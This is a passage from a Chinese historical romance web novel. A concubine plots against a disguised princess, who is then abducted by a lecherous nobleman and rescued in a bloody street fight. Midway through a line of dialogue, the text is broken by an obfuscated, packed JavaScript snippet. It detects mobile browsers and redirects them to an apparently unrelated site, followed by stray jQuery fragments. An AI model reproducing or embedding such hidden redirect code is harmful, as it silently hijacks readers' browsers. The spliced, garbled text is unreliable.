“公子,我家小姐将她送给你了。公子可要记着我家小姐的人情。”
织儿偏头看向月澜。
林慎身下一热,也不疑有诈,忙不迭点头。
二人对视一眼,织儿骤然提高声音:
“林公子,你来搭把手,我突然肚子疼得厉害。弦奴妹妹你先顶住,一会儿我来找你。”
月澜整个人被林氏的虎背熊腰压住,也没有多想,只想着赶紧将人送回去。
林慎自织儿手中接过林氏,眼神赤裸裸,不住地吞咽口水。
回官舍的马车内。
明明只少了一人,马车上却空当了许多。
织儿看向面色紧绷的崔婉扬,忍不住开口问道:
“小姐,这样子…可以吗?纵然她编造身份,可奴婢瞧着弦奴也没什么坏心。”
崔婉扬看向车窗外,
“匹夫无罪,怀璧其罪。”
车外的冷气入鼻,她继续道:
“她是霈国公主,且是先帝亲自指婚的正妻。只要她在,我便只是一介侍妾罢了。留着她,迟早会成我的心腹大患。倒不如尽早除掉,以免日后变得更加棘手。”
“本王已有婚约在身,恐怕无法再与她人成婚……”
忆起崔府寿宴上的一幕,崔婉扬心头的酸涩如爪牙般不断蔓延,眼中再无半点柔情,
“既然令她为奴做婢,那就休怪我顺水推舟。侍婢的生死,不过系于主人的一念之间。弦奴妹妹,要怪,就去怪刘巽吧。”
织儿似是想到一事,她急急打断崔婉扬的思绪,问道:
“小姐,殿下会不会怪罪?”
“怪罪?呵,我只知,珊瑚院的弦奴顶不过燕地的风寒,久治不愈,病重而死。”
织儿抿了抿唇,垂下眸子,不再言语。
林府。
“夫人你快躺好歇着,弦奴先告退了。”
月澜从林氏臂膀中钻了出来,擦擦汗,急忙想要返回。
林慎见月澜要走,赶忙将林氏扔到榻上,追了上来,
“姑娘,姑娘,等等我,你叫弦奴是吧?”
月澜加快了脚步,不愿与此人有牵扯。
眼前的背影仿佛散着惑人的香气,林慎急不可耐,大步上前,直接上手抓住她的肩头。
月澜一惊,怒瞪向他,
“林公子慎重!我家夫人还在前厅等着,请放开。”
林慎嘿嘿一笑,
“小姑娘,你也不必回去了。你家夫人将你赏给了本公子,正好,趁母老虎睡了,咱俩出去快活快活…”
月澜使劲抓挠,却始终无法掰开林慎的手。
无法,她只得高喊救命。
清亮的嗓音倒是起了作用,林氏的声音从寝居中传了出来,
“夫…君?夫君!”
林慎额头青筋一跳,忙捂住月澜的口鼻,
他侧过头,已然能听到林氏拖沓晃悠的步子,似要马上推开房门。
他急得冷汗直冒。
月澜拼死挣扎,想要引起众人的注意。
突然,
她眼前一黑,耳边只剩下林慎短促的低音,
“去,送到鼓巷别院。”
随后,脑中一阵嗡鸣,彻底没了知觉。
等再次醒来,月澜发现自己又到了马车里面。
只是,双手双脚皆被绑缚,麻绳将她捆得一丝不苟,口中亦被塞了好大一团粗布。
她心口狂跳不止,没有敢随意出声。
眼珠转了一圈,发现马车里仅自己一人。
车外人声鼎沸,应是来了大街上。
她用力鼓起腹部,试图僵起身子,可双手被反绑,极难用力。尝试三四次皆未能成功,受口中粗布的阻碍,连大喘气也不能,反累得眼前发晕。
“不行,得先取出堵嘴布。”
月澜缓了一口气,努力弯下腰,蜷成一道圆。
车外的人声渐渐低了下来,
“坏了,得快!”
她奋力将嘴巴靠近双膝,膝盖缝夹住布头。
反复多次,整张脸充血涨红,喉咙抑制不住地呜咽。
似是察觉到车内的动静,马车夫挑开车帘,狐疑地望了望。
月澜屏息凝神,将脸藏在怀中,一动不敢动。
好在只扫了一眼,车帘就又被放了下来。
月澜全身戒备,见再无异样,她又重新将脖颈弯向膝头。
终于,口中一松,粗布终于被拉了出来。
如被捞上岸的鱼一般,月澜口鼻大张,贪婪地大肆呼吸。
心跳渐渐平稳,她蹭掉口水,左右活动酸胀的颞颌。
随后,双足抵住马车壁,小心挪动上身,不断靠近马车的坐榻。
移至坐榻边缘底下,她气沉丹田,一口气直起脖子,将下巴搭上坐榻边缘。
坐榻粗硬,她疼得眼泪瞬间涌了出来。
咬牙忍住,
下巴、肩头、侧臂,慢慢蹭着直起身子,移上坐榻。
她一刻不停,立马伸头顶起厚实的车帘,冷气夹杂着各式的食物香气涌入了进来。
欲张口呼救,话到嘴边,却又止住。
“不行,若是呼救,肯定会被马车夫再次打晕。”
双眸里满是焦灼,不放过街上的任何一个角落,想要看看是否有官差的身影。
倏然,一团赤红背影映入眼帘。
是他!
千钧一发之际,月澜也顾不上二人是敌是友。
她闭眼大喊:
“裴谦——!”
马车两边的行人齐齐侧目,纷纷停下脚步。
裴谦一愣,手中热乎的糖糕险些掉到地上。
他咽下糖糕,摸摸脑袋,
“我这是……发烧了?”
这般清亮的尖叫,他可再熟悉不过。
回廊下的怒骂哭喊,犹在耳畔。
他赶忙摇头,张嘴又将糖糕咬了一大口。
不过瞬息之间,马车夫立马撩开帘子,眼神极是不善。
“给老子消停些!”
车夫马鞭高扬,马儿吃痛,马车猛地往前冲。
月澜心急如焚,一连高呼了数十声,
“裴——谦,救我!裴谦……”
裴谦脑中嗡嗡作响,赶紧转身循着声音的方向看去。
月澜的小脸在车帘的遮挡下时隐时现,马车在路上横冲直撞,飞速逃离。
裴谦扔掉糖糕,当即翻身上马,赶紧追了上去。
“站住!”
马车的速度愈加疯狂。
一车一骑眨眼之间已经来到了一条偏僻的小巷。
马车倏然一停,月澜直直撞向车壁。
车夫没有理月澜,将身上的长刀拔了出来,朝着一方小院吼道:
“兄弟们,来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005665|192821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
活儿了!”
随后大步迎向疾驰而来的裴谦。
月澜将脑袋伸出车帘,看到瞬间多出的十几名刀斧手,着急地大喊:
“裴谦,小心!”
裴谦眼中的怒火不住地往外冒,
“小爷的糖糕!看爷今天怎么收拾你们这些杂碎!”
他拔出身侧的佩剑,径直闯入眼前的刀斧堆里。
铿铿锵锵……
一时间,小巷里刀剑相接的击打声此起彼伏。
“说!哪里来的贼寇,青天白日竟敢持刀行凶!”
裴谦手中不停,边甩掉剑上的血迹,边厉声质问。
“呵呵!问阎王爷去吧!兄弟们给我使劲砍!”
裴谦气得牙痒痒,手中长剑无影,很快脚边就躺了一圈尸体。
车夫冷哼:
“小子,别得意得太早!让后院的也出来。”
月澜眼皮一跳,院门口竟又涌出了一群人。
“裴谦,他们人多,快跑!”
“死丫头你给小爷闭嘴!碰见你就没个好事!”
裴谦自然也看到了源源不断的刀斧手,他身形一转,避开一道劈砍,身形弓起,眨眼便跳到了车上。
他长剑一挥,月澜手脚上的麻绳被齐齐砍断。
“小心身后!”
裴谦猛地转身,血迹四溅。
刀斧手前仆后继,见形势不妙,他朝月澜喊道:
“抓紧了,摔死了别赖我!”
随即马儿嘶鸣,马车冲了出去。
“上——马!”
车夫向同伴大喊。
裴谦怒骂:
“娘的,甩也甩不掉。”
月澜不住地往后看,头皮发麻,车后黑压压一片。
“他们追上来了——”
“小爷知道!”
只听一声尖锐悠长的鹰啸划破天际。
裴谦连发三道。
四周复又只剩身后的追杀声和车轴声。
月澜不明所以,紧紧抓住车壁,只觉得死到临头。
却不料,几息过后,城中接连传来数声鹰啸,似是回应裴谦。
“裴谦,可是救兵?”
月澜心中一喜,大喊道。
裴谦没有理她,马鞭狠狠下抽。
不一会,月澜听到周围似又来了许多人,爬到车门前一看,路前沙尘飞扬,人影攒动。
马蹄踏得震天响,隐隐地,她看到一匹墨色骏马暴冲而来。
马车后的刀斧手一看这般阵势,方知惹了大祸。
领头的车夫赶紧勒住缰绳,连声大喝:
“快退回去!散开了跑!”
裴谦将车驾停到路边,冷嗤道:
“想逃?全都得死!”
他握紧长剑,一转攻势,反追了回去。
月澜跪趴在车门前,仔细盯向战局。
忽然,眼前飞速掠过一道黑影,凛冽的寒气瞬间带起她散乱的鬓发。
恍惚间,她似是撞上上了一双骇人的鹰眸。
残光切出鞘,游渊身前不断掉落残肢断臂,血肉横飞,鲜血染红褐黄的冻土。
月澜小声惊呼了一道,连忙捂住双眼。
“留活口。”
刀斧手们残缺不全,哀嚎不止,刘巽的语气却甚是平静。
听到声音,月澜口中喃喃:
“殿下……”